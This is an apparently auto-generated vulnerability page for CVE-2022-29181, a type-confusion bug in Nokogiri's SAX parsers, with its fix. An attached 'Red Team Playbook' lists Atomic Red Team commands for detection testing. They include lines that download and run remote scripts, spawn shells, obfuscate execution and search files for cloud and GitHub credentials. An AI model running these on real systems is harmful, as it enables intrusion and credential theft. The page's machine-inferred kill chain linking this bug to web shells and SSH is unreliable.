CVE-2022-29181

HIGH Pub 20/05 Upd 27/05

Overview

This vulnerability is a type confusion flaw in the Nokogiri XML and HTML4 SAX parsers where inputs are not properly type-checked before processing. The root cause lies in the parsers accepting untrusted inputs without verifying they are of the expected String type, leading to illegal memory accesses. The affected component is the Nokogiri SAX parser implementation in versions prior to 1.13.6, which fails to enforce strict input type validation.

Vulnerability Description

Nokogiri is an open source XML and HTML library for Ruby. Nokogiri prior to version 1.13.6 does not type-check all inputs into the XML and HTML4 SAX parsers, allowing specially crafted untrusted inputs to cause illegal memory access errors (segfault) or reads from unrelated memory. Version 1.13.6 contains a patch for this issue. As a workaround, ensure the untrusted input is a `String` by calling `#to_s` or equivalent.

Impact

An attacker can exploit this vulnerability by supplying crafted inputs to the Nokogiri SAX parsers, causing the application to crash or potentially leak memory contents. No authentication or user interaction is required, as the attack vector is remote and network accessible (AV:N/AC:L/PR:N/UI:N). This can result in denial of service through application crashes or unauthorized disclosure of sensitive memory data, impacting availability and confidentiality of services utilizing Nokogiri parsing.

Solution

Upgrade Nokogiri to version 1.13.6 or later, which includes a patch enforcing strict input type checking in the SAX parsers. Refer to the official GitHub security advisory GHSA-xh29-r2w5-wx8m for detailed patch information and commit references (83cc451c3f29df397caa890afc3b714eae6ab8f7, db05ba9a1bd4b90aa6c76742cf6102a7c7297267). As a temporary workaround, ensure all untrusted inputs are explicitly converted to String objects using `#to_s` before parsing.

EPSS vs KEV Prediction — Evolution (30 days)

Full Analysis

The vulnerability in the Nokogiri library, an essential tool for parsing XML and HTML in Ruby applications, stems from inadequate type-checking of inputs within its SAX parsers. This oversight allows attackers to supply specially crafted untrusted inputs, which can lead to illegal memory access errors, such as segmentation faults, or even unauthorized reads from unrelated memory segments. The absence of stringent input validation mechanisms means that the library fails to properly handle unexpected data types, creating a pathway for potential exploitation. The issue is particularly critical given the widespread use of Nokogiri in various Ruby applications, making it a prominent target for malicious actors.

Attack vectors exploiting this vulnerability can manifest in several ways. An attacker could craft a malicious payload designed to be processed by an application utilizing the affected version of Nokogiri. By injecting this payload, the attacker could trigger a segmentation fault, causing the application to crash. In more severe scenarios, the attacker might manipulate the memory to read sensitive information from the application's memory space, which could include user credentials, API keys, or other confidential data. This exploitation could occur through various channels, such as web applications that accept user-uploaded XML or HTML files, or through APIs that process untrusted data. The potential for exploitation underscores the need for developers to be vigilant in their input handling practices.

The real-world impact of this vulnerability can be significant, particularly for organizations that rely on Nokogiri for processing user-generated content or external data. A successful exploitation could lead to application downtime, data breaches, and the potential loss of customer trust. The business risks associated with such incidents are manifold, including financial losses from remediation efforts, legal liabilities stemming from data protection regulations, and reputational damage that can have long-lasting effects on customer relationships. Additionally, organizations may face increased scrutiny from stakeholders and regulatory bodies, further complicating recovery efforts.

To detect and mitigate the risks associated with this vulnerability, organizations should prioritize updating to the patched version of Nokogiri, specifically version 1.13.6 or later. Regularly monitoring dependencies for vulnerabilities is crucial, and employing automated tools to scan for outdated libraries can streamline this process. In addition to updating, developers should implement robust input validation mechanisms to ensure that all data processed by the application is sanitized and conforms to expected types. For instance, explicitly converting untrusted inputs to a string format using methods like `#to_s` can help mitigate the risk of exploitation. Furthermore, employing security best practices such as code reviews and static analysis can enhance the overall security posture of applications utilizing Nokogiri.

In conclusion, the vulnerability within the Nokogiri library highlights the critical importance of input validation in software development. As applications increasingly rely on third-party libraries for functionality, the potential for vulnerabilities to be introduced through these dependencies grows. Organizations must remain proactive in their security efforts, ensuring that they not only keep their software up to date but also adopt comprehensive strategies for input handling and vulnerability management. By doing so, they can significantly reduce their exposure to risks associated with such vulnerabilities and maintain the integrity and security of their applications.

Affected Products (2)

Vendor Product Version CPE
nokogiri Nokogiri Nokogiri All cpe:2.3:a:nokogiri:nokogiri:*:*:*:*:*:ruby:*:*
apple Apple Macos All cpe:2.3:o:apple:macos:*:*:*:*:*:*:*:*

Exploits

No exploits found for this CVE.

Exploited in Wild NOT DETECTED
Ransomware NOT ASSOCIATED
Attacker Interest VERY LOW
Sightings No sightings

Threat Feed

0 events

No threat activity recorded for this CVE.

Likely Kill Chain

Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.

Applicable Out of scope
Initial Access
TA0001
Execution
TA0002
Persistence
TA0003
Priv. Escalation
TA0004
Defense Evasion
TA0005
Credential Access
TA0006
Lateral Movement
TA0008
Collection
TA0009
Impact
TA0040

Kill chain derived from the ML classifier.

Attack Vectors ML

XML External Entity
79% xxe

MITRE ATT&CK Techniques (6)

The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.

ID Name Stage Tactics Platforms Link
T1190 Exploit Public-Facing Application Initial Access initial-access Containers, ESXi, IaaS, Linux, macOS, Network Devices, Windows
T1059.004 Unix Shell Kill Chain execution ESXi, Linux, macOS, Network Devices
T1505.003 Web Shell Kill Chain persistence Linux, macOS, Network Devices, Windows
T1552.001 Credentials In Files Kill Chain credential-access Containers, IaaS, Linux, macOS, Windows
T1049 System Network Connections Discovery Kill Chain discovery Windows, IaaS, Linux, macOS, Network Devices, ESXi
T1021.004 SSH Kill Chain lateral-movement ESXi, Linux, macOS

CAPEC Attack Patterns

No CAPEC pattern mapped to this CVE.

Red Team Playbook

44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.

T1021.004 ESXi - Enable SSH via PowerCLI Windows PowerShell Privileged
An adversary enables the SSH service on a ESXi host to maintain persistent access to the host and to carryout subsequent operations.
Command (PowerShell)
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false 
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
T1021.004 ESXi - Enable SSH via VIM-CMD Windows CMD
An adversary enables SSH on an ESXi host to maintain persistence and creeate another command execution interface. [Reference](https://lolesxi-project.github.io/LOLESXi/lolesxi/Binaries/vim-cmd/#enable%20service)
Command (CMD)
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
T1049 System Discovery using SharpView Windows PowerShell Privileged
Get a listing of network connections, domains, domain users, and etc. sharpview.exe located in the bin folder, an opensource red-team tool. Upon successful execution, cmd.exe will execute sharpview.exe <method>. Results will output via stdout.
Command (PowerShell)
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
T1049 System Network Connections Discovery Windows CMD
Get a listing of network connections. Upon successful execution, cmd.exe will execute `netstat`, `net use` and `net sessions`. `net sessions` requires elevated privileges; on standard user accounts this command may not return results. Results will output via stdout.
Command (CMD)
netstat -ano
net use
net sessions 2>nul
T1049 System Network Connections Discovery FreeBSD, Linux & MacOS Linux, macOS Shell
Get a listing of network connections. Upon successful execution, sh will execute `netstat` and `who -a`. Results will output via stdout.
Command (Shell)
netstat
who -a
T1049 System Network Connections Discovery via PowerShell (Process Mapping) Windows PowerShell
Enumerate TCP connections and map to owning process names via PowerShell.
Command (PowerShell)
Get-NetTCPConnection | ForEach-Object {
  $p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
  [pscustomobject]@{
    Local   = "$($_.LocalAddress):$($_.LocalPort)"
    Remote  = "$($_.RemoteAddress):$($_.RemotePort)"
    State   = $_.State
    PID     = $_.OwningProcess
    Process = if ($p) { $p.ProcessName } else { $null }
  }
} | Sort-Object State,Process | Format-Table -AutoSize
T1049 System Network Connections Discovery via sockstat (Linux, FreeBSD) Linux Shell
Enumerate IPv4/IPv6 network endpoints on FreeBSD using sockstat.
Command (Shell)
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
T1049 System Network Connections Discovery via ss or lsof (Linux/MacOS) Linux, macOS Bash
List active TCP/UDP network connections using ss, with lsof as a fallback when ss is unavailable. Serves as an alternative to the netstat-based test.
Command (Bash)
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
T1049 System Network Connections Discovery with PowerShell Windows PowerShell
Get a listing of network connections. Upon successful execution, powershell.exe will execute `get-NetTCPConnection`. Results will output via stdout.
Command (PowerShell)
Get-NetTCPConnection
T1059.004 Change login shell Linux Bash Privileged
An adversary may want to use a different login shell. The chsh command changes the user login shell. The following test, creates an art user with a /bin/bash shell, changes the users shell to sh, then deletes the art user.
Command (Bash)
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
T1059.004 Command line scripts Linux Shell
An adversary may type in elaborate multi-line shell commands into a terminal session because they can't or don't wish to create script files on the host. The following command is a simple loop, echoing out Atomic Red Team was here!
Command (Shell)
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
T1059.004 Command-Line Interface Linux, macOS Shell
Using Curl to download and pipe a payload to Bash. NOTE: Curl-ing to Bash is generally a bad idea if you don't control the server. Upon successful execution, sh will download via curl and wget the specified payload (echo-art-fish.sh) and set a marker file in `/tmp/art-fish.txt`.
Command (Shell)
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
T1059.004 Create and Execute Bash Shell Script Linux, macOS Shell
Creates and executes a simple sh script.
Command (Shell)
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
T1059.004 Creating shell using cpan command Linux, macOS Shell
cpan lets you execute perl commands with the ! command. It can be used to break out from restricted environments by spawning an interactive system shell. Reference - https://gtfobins.github.io/gtfobins/cpan/
Command (Shell)
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1  cpan
T1059.004 Current kernel information enumeration Linux Shell
An adversary may want to enumerate the kernel information to tailor their attacks for that particular kernel. The following command will enumerate the kernel information.
Command (Shell)
uname -srm
T1059.004 Detecting pipe-to-shell Linux Shell
An adversary may develop a useful utility or subvert the CI/CD pipe line of a legitimate utility developer, who requires or suggests installing their utility by piping a curl download directly into bash. Of-course this is a very bad idea. The adversary may also take advantage...
Command (Shell)
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt      
T1059.004 Environment variable scripts Linux Shell
An adversary may place scripts in an environment variable because they can't or don't wish to create script files on the host. The following test, in a bash shell, exports the ART variable containing an echo command, then pipes the variable to /bin/bash
Command (Shell)
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
T1059.004 Harvest SUID executable files Linux Shell
AutoSUID application is the Open-Source project, the main idea of which is to automate harvesting the SUID executable files and to find a way for further escalating the privileges.
Command (Shell)
chmod +x #{autosuid}
bash #{autosuid}
T1059.004 LinEnum tool execution Linux Shell
LinEnum is a bash script that performs discovery commands for accounts,processes, kernel version, applications, services, and uses the information from these commands to present operator with ways of escalating privileges or further exploitation of targeted host.
Command (Shell)
chmod +x #{linenum}
bash #{linenum}
T1059.004 New script file in the tmp directory Linux Shell
An attacker may create script files in the /tmp directory using the mktemp utility and execute them. The following commands creates a temp file and places a pointer to it in the variable $TMPFILE, echos the string id into it, and then executes the file using bash, which...
Command (Shell)
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
T1059.004 Obfuscated command line scripts Linux Shell
An adversary may pre-compute the base64 representations of the terminal commands that they wish to execute in an attempt to avoid or frustrate detection. The following commands base64 encodes the text string id, then base64 decodes the string, then pipes it as a command to...
Command (Shell)
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
T1059.004 Shell Creation using awk command Linux, macOS Shell
In awk the begin rule runs the first record without reading or interpreting it. This way a shell can be created and used to break out from restricted environments with the awk command. Reference - https://gtfobins.github.io/gtfobins/awk/#shell
Command (Shell)
awk 'BEGIN {system("/bin/sh &")}'
T1059.004 Shell Creation using busybox command Linux Shell
BusyBox is a multi-call binary. A multi-call binary is an executable program that performs the same job as more than one utility program. It can be used to break out from restricted environments by spawning an interactive system shell. Reference -...
Command (Shell)
busybox sh &
T1059.004 What shell is running Linux Shell
An adversary will want to discover what shell is running so that they can tailor their attacks accordingly. The following commands will discover what shell is running.
Command (Shell)
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
T1059.004 What shells are available Linux Shell
An adversary may want to discover which shell's are available so that they might switch to that shell to tailor their attacks to suit that shell. The following commands will discover what shells are available on the host.
Command (Shell)
cat /etc/shells 
T1059.004 emacs spawning an interactive system shell Linux, macOS Shell Privileged
emacs can be used to break out from restricted environments by spawning an interactive system shell. Ref: https://gtfobins.github.io/gtfobins/emacs/
Command (Shell)
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
T1505.003 Web Shell Written to Disk Windows CMD
This test simulates an adversary leveraging Web Shells by simulating the file modification to disk. Idea from APTSimulator. cmd.aspx source - https://github.com/tennc/webshell/blob/master/fuzzdb-webshell/asp/cmd.aspx
Command (CMD)
xcopy /I /Y "#{web_shells}" #{web_shell_path}
T1552.001 Access unattend.xml Windows CMD Privileged
Attempts to access unattend.xml, where credentials are commonly stored, within the Panther directory where installation logs are stored. If these files exist, their contents will be displayed. They are used to store credentials/answers during the unattended windows install process.
Command (CMD)
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
T1552.001 Extract Browser and System credentials with LaZagne macOS Bash Privileged
[LaZagne Source](https://github.com/AlessandroZ/LaZagne)
Command (Bash)
python2 laZagne.py all
T1552.001 Extract passwords with grep Linux, macOS Shell
Extracting credentials from files
Command (Shell)
grep -ri password #{file_path}
exit 0
T1552.001 Extracting passwords with findstr Windows PowerShell
Extracting Credentials from Files. Upon execution, the contents of files that contain the word "password" will be displayed.
Command (PowerShell)
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
T1552.001 Find AWS credentials Linux, macOS Shell
Find local AWS credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
T1552.001 Find Azure credentials Linux, macOS Shell
Find local Azure credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
T1552.001 Find GCP credentials Linux, macOS Shell
Find local Google Cloud Platform credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
T1552.001 Find OCI credentials Linux, macOS Shell
Find local Oracle cloud credentials from file, defaults to using / as the look path.
Command (Shell)
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
T1552.001 Find and Access Github Credentials Linux, macOS Bash
This test looks for .netrc files (which stores github credentials in clear text )and dumps its contents if found.
Command (Bash)
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
T1552.001 List Credential Files via Command Prompt Windows CMD Privileged
Via Command Prompt,list files where credentials are stored in Windows Credential Manager
Command (CMD)
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
T1552.001 List Credential Files via PowerShell Windows PowerShell Privileged
Via PowerShell,list files where credentials are stored in Windows Credential Manager
Command (PowerShell)
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
T1552.001 WinPwn - Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials Windows PowerShell
Loot local Credentials - AWS, Microsoft Azure, and Google Compute credentials technique via function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive  
T1552.001 WinPwn - SessionGopher Windows PowerShell
Launches SessionGopher on this system via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
T1552.001 WinPwn - Snaffler Windows PowerShell
Check Domain Network-Shares for cleartext passwords using Snaffler function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
T1552.001 WinPwn - passhunt Windows PowerShell
Search for Passwords on this system using passhunt via WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
T1552.001 WinPwn - powershellsensitive Windows PowerShell
Check Powershell event logs for credentials or other sensitive information via winpwn powershellsensitive function.
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
T1552.001 WinPwn - sensitivefiles Windows PowerShell
Search for sensitive files on this local system using the SensitiveFiles function of WinPwn
Command (PowerShell)
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput

Detection & Response Rules

No detection or response rules found for this CVE.

No news articles found for this CVE.

References (9)

Title Tags URL
nvd.nist.gov
NVD reference
https://nvd.nist.gov/vuln/detail/CVE-2022-29181
github.com
GitHub CVE x_refsource_CONFIRM
https://github.com/sparklemotion/nokogiri/security/advisories/GHSA-xh29-r2w5-wx8m
github.com
GitHub CVE x_refsource_MISC
https://github.com/sparklemotion/nokogiri/commit/83cc451c3f29df397caa890afc3b714eae6ab8f7
github.com
GitHub CVE x_refsource_MISC
https://github.com/sparklemotion/nokogiri/commit/db05ba9a1bd4b90aa6c76742cf6102a7c7297267
github.com
GitHub CVE x_refsource_MISC
https://github.com/sparklemotion/nokogiri/releases/tag/v1.13.6
securitylab.github.com
GitHub CVE x_refsource_MISC
https://securitylab.github.com/advisories/GHSL-2022-031_GHSL-2022-032_Nokogiri
seclists.org
NVD API Mailing List Third Party Advisory
http://seclists.org/fulldisclosure/2022/Dec/23
security.gentoo.org
NVD API Third Party Advisory
https://security.gentoo.org/glsa/202208-29
support.apple.com
NVD API Third Party Advisory
https://support.apple.com/kb/HT213532